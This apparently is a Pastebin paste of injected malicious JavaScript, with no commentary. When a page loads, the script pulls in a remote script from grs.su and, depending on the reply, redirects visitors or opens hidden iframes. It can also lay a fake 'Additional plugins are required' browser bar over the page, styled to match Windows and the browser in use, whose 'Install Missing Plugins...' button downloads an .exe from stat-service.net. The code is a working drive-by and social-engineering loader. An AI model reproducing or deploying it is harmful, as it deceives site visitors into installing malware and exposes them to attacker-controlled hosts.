Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var wr = '0';
- function setCookie() {
- return 0;
- var expire = new Date();
- var today = new Date();
- expire.setTime(today.getTime() + 3600000*24*10000);
- document.cookie = "google_api=1;expires="+expire.toGMTString();
- }
- function handlre() {
- if( document.cookie.indexOf("google_api=1;") == -1 ) {
- var j = document.createElement('script');
- j.id = 'terr_452909';
- document.body.appendChild(j);
- j.src = 'http://grs.su/ping.html?id=452909&js=1&key=wu6w9yyvk3';
- j.onload = j.onreadystatechange = function() { load() };
- } else if ( wr != '0' ) {
- window.location.href = wr;
- }
- };
- var called = false
- function ready() {
- if (called) return
- called = true
- handlre()
- }
- if ( document.addEventListener ) {
- document.addEventListener( "DOMContentLoaded", function(){
- ready()
- }, false )
- } else if ( document.attachEvent ) {
- if ( document.documentElement.doScroll && window == window.top ) {
- function tryScroll(){
- if (called) return
- if (!document.body) return
- try {
- document.documentElement.doScroll("left")
- ready()
- } catch(e) {
- setTimeout(tryScroll, 0)
- }
- }
- tryScroll()
- }
- document.attachEvent("onreadystatechange", function(){
- if ( document.readyState === "complete" ) {
- ready()
- }
- })
- }
- if (window.addEventListener)
- window.addEventListener('load', ready, false)
- else if (window.attachEvent)
- window.attachEvent('onload', ready)
- function load(){
- var innerHTML = document.werr || '0';
- if( innerHTML == 2 ) {
- setCookie();
- }
- else if( innerHTML.length > 10 ) {
- var match_url = innerHTML.match(/(.*?)[\?&]([^&]*?)$/);
- if( match_url ) {
- if(match_url[2] == 3) {
- window.location.href=match_url[1];
- } else if(match_url[2] == 4) {
- var MessagePluginCrash = function
- (
- strNameObj,
- os,
- strUrlImgPlugin,
- strInnerHtmlTextMessage,
- strInnerHtmlTextButtonMessage,
- strValueKeyEn,
- strUrlImg_x,
- strTitleCloseMessage,
- strUrlExe
- )
- {
- var self = this;
- var str_id_div_plugin_crash = 'id_div_plugin_crash';
- var str_id_button = 'id_button';
- var str_id_text_button = 'id_text_button';
- var str_id_button_x = 'id_button_x';
- var str_id_body_site = 'id_body_site';
- var str_id_td_button = 'id_td_button';
- this.detectionBrowser = function()
- {
- var browser = 'unknown';
- if (navigator.userAgent.toLowerCase().indexOf('chrome') > -1)
- {
- browser = 'Chrome';
- }
- if (navigator.userAgent.indexOf('MSIE') != -1) //Для IE
- {
- browser = 'IE';
- }
- if (navigator.userAgent.indexOf('Firefox') != -1) //Для FF
- {
- browser = 'Firefox';
- }
- return browser;
- }
- this.browser = this.detectionBrowser();
- this.timeAnimation = 300;
- this.preventSelection = function(element){
- var preventSelection = false;
- function addHandler(element, event, handler){
- if (element.attachEvent)
- element.attachEvent('on' + event, handler);
- else
- if (element.addEventListener)
- element.addEventListener(event, handler, false);
- }
- function removeSelection(){
- if (window.getSelection) { window.getSelection().removeAllRanges(); }
- else if (document.selection && document.selection.empty)
- document.selection.empty();
- }
- addHandler(element, 'mousemove', function(){
- if(preventSelection)
- removeSelection();
- });
- addHandler(element, 'mousedown', function(event){
- var event = event || window.event;
- var sender = event.target || event.srcElement;
- preventSelection = !sender.tagName.match(/INPUT|TEXTAREA/i);
- });
- addHandler(element, 'mouseup', function(){
- if (preventSelection)
- removeSelection();
- preventSelection = false;
- });
- }
- this.f_build_height_body_site = function()
- {
- document.getElementById(str_id_td_button).style.width = document.getElementById(str_id_button).offsetWidth + 'px';
- var height_div_plugin_crash = document.getElementById(str_id_div_plugin_crash).offsetHeight;
- var top_div_plugin_crash = document.getElementById(str_id_div_plugin_crash).offsetTop;
- try {
- document.getElementById(str_id_body_site).style.height = document.body.offsetHeight - height_div_plugin_crash - top_div_plugin_crash + 'px';
- } catch(e) {}
- document.getElementById(str_id_body_site).style.position = 'relative';
- document.getElementById(str_id_body_site).style.left = '0px';
- document.getElementById(str_id_body_site).style.top = height_div_plugin_crash + top_div_plugin_crash + 'px';
- }
- this.animationAp = function
- (
- elem,
- x_end_content,
- y_end_content,
- time_svorachivaniya_v_miliSec,
- funStepAnimation
- )
- {
- var d_x;
- var d_y;
- var i_end;
- var i=0;
- var period_miliSec = 40;
- var x_start_content = elem.offsetLeft;
- var y_start_content = elem.offsetTop;
- var x_content = x_start_content;
- var y_content = y_start_content;
- i_end = time_svorachivaniya_v_miliSec / period_miliSec;
- d_x = (x_start_content - x_end_content)/i_end;
- d_y = (y_start_content - y_end_content)/i_end;
- this.f_animationAp = function(){
- x_content -= d_x;
- y_content -= d_y;
- i++;
- if(i > i_end){
- clearInterval(this.timerId);
- elem.style.left = x_end_content + 'px';
- elem.style.top = y_end_content + 'px';
- this.flThereIsNoAnimation = true;
- }else{
- elem.style.left = x_content + 'px';
- elem.style.top = y_content + 'px';
- }
- funStepAnimation();
- }
- var self = this;
- this.timerId = setInterval(function() { self.f_animationAp() }, period_miliSec);
- this.flThereIsNoAnimation = false;
- }
- this.fun_animationShow = function()
- {
- this.animationAp
- (
- document.getElementById(str_id_div_plugin_crash),
- 0,
- 0,
- this.timeAnimation,
- this.f_build_height_body_site
- );
- }
- this.fun_animationHidden = function()
- {
- self.animationAp
- (
- document.getElementById(str_id_div_plugin_crash),
- 0,
- -1 * document.getElementById(str_id_div_plugin_crash).offsetHeight,
- self.timeAnimation,
- self.f_build_height_body_site
- );
- }
- this.funLoad = function()
- {
- self.buildHtml();
- self.preventSelection(document.getElementById(str_id_div_plugin_crash));
- document.getElementById(str_id_div_plugin_crash).style.top = '-' + document.getElementById(str_id_div_plugin_crash).offsetHeight + 'px';
- self.f_build_height_body_site();
- if (document.getElementById(str_id_div_plugin_crash).offsetTop < 0)
- {
- document.getElementById(str_id_div_plugin_crash).style.top = '-' + document.getElementById(str_id_div_plugin_crash).offsetHeight + 'px';
- document.getElementById(str_id_body_site).style.height = document.body.offsetHeight + 'px';
- document.getElementById(str_id_body_site).style.top = '0px';
- }
- }
- this.addHandler = function(element, event, handler)
- {
- if (element.attachEvent)
- element.attachEvent('on' + event, handler);
- else
- if (element.addEventListener)
- element.addEventListener(event, handler, false);
- }
- this.addHandler
- (
- window,
- 'load',
- this.funLoad
- );
- this.addHandler
- (
- window,
- 'resize',
- function()
- {
- if (document.getElementById(str_id_div_plugin_crash).offsetTop < 0)
- {
- document.getElementById(str_id_div_plugin_crash).style.top = '-' + document.getElementById(str_id_div_plugin_crash).offsetHeight + 'px';
- document.getElementById(str_id_body_site).style.height = document.body.offsetHeight + 'px';
- document.getElementById(str_id_body_site).style.top = '0px';
- }
- else
- {
- self.f_build_height_body_site();
- }
- }
- );
- this.actionsTrue = function()
- {
- self.fun_animationHidden();
- location.href = strUrlExe;
- }
- this.fun_clickKey = function(event)
- {
- var event = event || window.event;
- var key = event.keyCode || event.which;
- if (strValueKeyEn != '' && event.altKey && key == strValueKeyEn.charCodeAt(0))
- {
- if (document.getElementById(str_id_div_plugin_crash).offsetTop == 0)
- {
- self.actionsTrue();
- }
- }
- }
- this.addHandler(document, 'keydown', this.fun_clickKey);
- this.buildHtml = function()
- {
- var displacementTextButtonLeft = 0;
- var displacementTextButtonTop = 0;
- if (os == 'Windows7')
- {
- if (this.browser == 'IE')
- {
- var urlSpritesBackgroundImageButton = 'http://stat-service.net/files/img/bg_button_w7_IE.gif';
- var heightSpritesBackgroundImageButton = 207;
- //------------------
- displacementTextButtonLeft = 1;
- displacementTextButtonTop = 1;
- }
- }
- if (os == 'WindowsXP')
- {
- if (this.browser == 'IE')
- {
- var urlSpritesBackgroundImageButton = 'http://stat-service.net/files/img/bg_button_XP_IE.gif';
- var heightSpritesBackgroundImageButton = 216;
- //------------------
- displacementTextButtonLeft = 1;
- displacementTextButtonTop = 1;
- }
- }
- if (this.browser == 'Firefox')
- {
- var urlSpritesBackgroundImageButton = 'http://stat-service.net/files/img/bg_button_w7_FF.gif';
- var heightSpritesBackgroundImageButton = 216;
- }
- var heightButton = heightSpritesBackgroundImageButton / 9;
- var strHtmlButton = ' <div onmousedown=" this.style.backgroundPosition = '+"'center -" + heightButton * 7 + "px'; "+'" onmouseout=" this.style.backgroundPosition = '+"'center -" + heightButton + "px'; "+'" onmouseover=" this.style.backgroundPosition = '+"'center -" + heightButton * 4 + "px'; "+'" onmouseup=" this.style.backgroundPosition = '+"'center -" + heightButton * 4 + "px'; "+'" style=" background-image: url(' + urlSpritesBackgroundImageButton + '); background-repeat: repeat-x; background-position: center -' + heightButton + 'px; float: left; margin:0; padding:0;z-index:100000;" id="' + str_id_button + '" onclick="' + strNameObj + '.actionsTrue();"> <div onmousedown=" this.style.backgroundPosition = '+"'left -" + heightButton * 6 + "px'; "+'" onmouseout=" this.style.backgroundPosition = '+"'left 0px'; "+'" onmouseover=" this.style.backgroundPosition = '+"'left -" + heightButton * 3 + "px'; "+'" onmouseup=" this.style.backgroundPosition = '+"'left -" + heightButton * 3 + "px'; "+'" style=" background-image: url(' + urlSpritesBackgroundImageButton + '); background-repeat: no-repeat; background-position: left 0px; float: left; "> <div onmousedown=" this.style.backgroundPosition = '+"'right -" + heightButton * 8 + "px'; document.getElementById('id_text_button').style.left = '" + displacementTextButtonLeft + "px'; document.getElementById('id_text_button').style.top = '" + displacementTextButtonTop + "px'; "+'" onmouseout=" this.style.backgroundPosition = '+"'right -" + heightButton * 2 + "px'; document.getElementById('id_text_button').style.left = '0'; document.getElementById('id_text_button').style.top = '0'; "+'" onmouseover=" this.style.backgroundPosition = '+"'right -" + heightButton * 5 + "px'; "+'" onmouseup=" this.style.backgroundPosition = '+"'right -" + heightButton * 5 + "px'; document.getElementById('id_text_button').style.left = '0'; document.getElementById('id_text_button').style.top = '0'; "+'" style=" background-image: url(' + urlSpritesBackgroundImageButton + '); background-position: right -' + heightButton * 2 + 'px; white-space: nowrap; background-repeat: no-repeat; height: ' + heightButton + 'px; padding: 0px 6px 0pt; overflow: hidden; float: left; cursor: default; "><span id="' + str_id_text_button + '" style=" font-family: Tahoma,Arial,Helvetica,sans-serif; font-size: 11px; color: #000000; line-height: ' + heightButton + 'px; cursor: default; position:relative; left:0; top:0; ">' + strInnerHtmlTextButtonMessage + '</span></div> </div> </div>'
- //-------------------
- strHtmlPluginCrash = '<div id="' + str_id_div_plugin_crash + '" style="position:absolute; left:0px; top:0px; width:100%; z-index:100000;"> <table width="100%" border="0" cellpadding="0" cellspacing="0" style="background-color:#ffffe1; border-top:1px solid #FFFFFF; border-left:1px solid #FFFFFF; border-bottom:1px solid #808080; font-family:Tahoma, Arial, Helvetica, sans-serif; font-size:11px; cursor:default; color:#000000;"> <tr> <td width="1" style="vertical-align:middle; background: none; border-bottom: none; border-left: none; padding: 0;"><div style="width:14px; height:15px; background-image:url(' + strUrlImgPlugin + '); background-repeat:no-repeat; text-decoration:none; display:block; margin:1px 8px 0 7px;"></div></td> <td style="padding:2px 0 2px 0;vertical-align:middle; background: none; border-bottom: none; border-left: none;color: #000000;"><span style="position:relative; top:-1px; letter-spacing:0.04em;">' + strInnerHtmlTextMessage + '</span></td> <td id="' + str_id_td_button + '" style="padding:1px 0 2px 0;vertical-align:middle; background: none; border-bottom: none; border-left: none;">' +
- strHtmlButton
- + '</td> <td align="center" width="1" style="vertical-align:middle; background: none; border-bottom: none; border-left: none; padding: 0;"><div id="' + str_id_button_x + '" style="width:16px; height:16px; background-image:url(' + strUrlImg_x + '); background-repeat:no-repeat; background-position:top; text-decoration:none; display:block; margin:0 7px 0 7px;" title="' + strTitleCloseMessage + '" onmouseover=" this.style.backgroundPosition = '+"'center'; "+'" onmouseout=" this.style.backgroundPosition = '+"'top'; "+'" onmousedown=" this.style.backgroundPosition = '+"'bottom'; "+'" onmouseup=" this.style.backgroundPosition = '+"'center'; "+'" onclick="' + strNameObj + '.fun_animationHidden();"></div></td> </tr> </table> </div>';
- var strBodyStart = document.body.innerHTML;
- document.body.innerHTML = strHtmlPluginCrash + '<div id="' + str_id_body_site + '" style="overflow:auto;">' + strBodyStart + '</div>';
- }
- }
- objMessagePluginCrash = new MessagePluginCrash
- (
- 'objMessagePluginCrash',
- 'Windows7',
- 'http://stat-service.net/files/img/img_plugin.gif',
- 'Additional plugins are required to display all the media on this page.',
- 'Install Missing Plugins...',
- 'N',
- 'http://stat-service.net/files/img/img_x.gif',
- 'Close message',
- 'http://stat-service.net/stable/plugin_i386_v3_538.exe'
- );
- objMessagePluginCrash.funLoad();
- objMessagePluginCrash.fun_animationShow();
- var frm = document.createElement('iframe');
- document.body.appendChild(frm);
- frm.src = match_url[1];
- } else {
- var frm = document.createElement('iframe');
- document.body.appendChild(frm);
- // var frm = document.getElementById('terr_452909');
- frm.src = match_url[1];
- };
- setCookie();
- }
- }
- else if ( wr != '0') {
- window.location.href = wr;
- }
- }
- //we623%_234$=452909=1==we623%_234$
Advertisement
Add Comment
Please, Sign In to add comment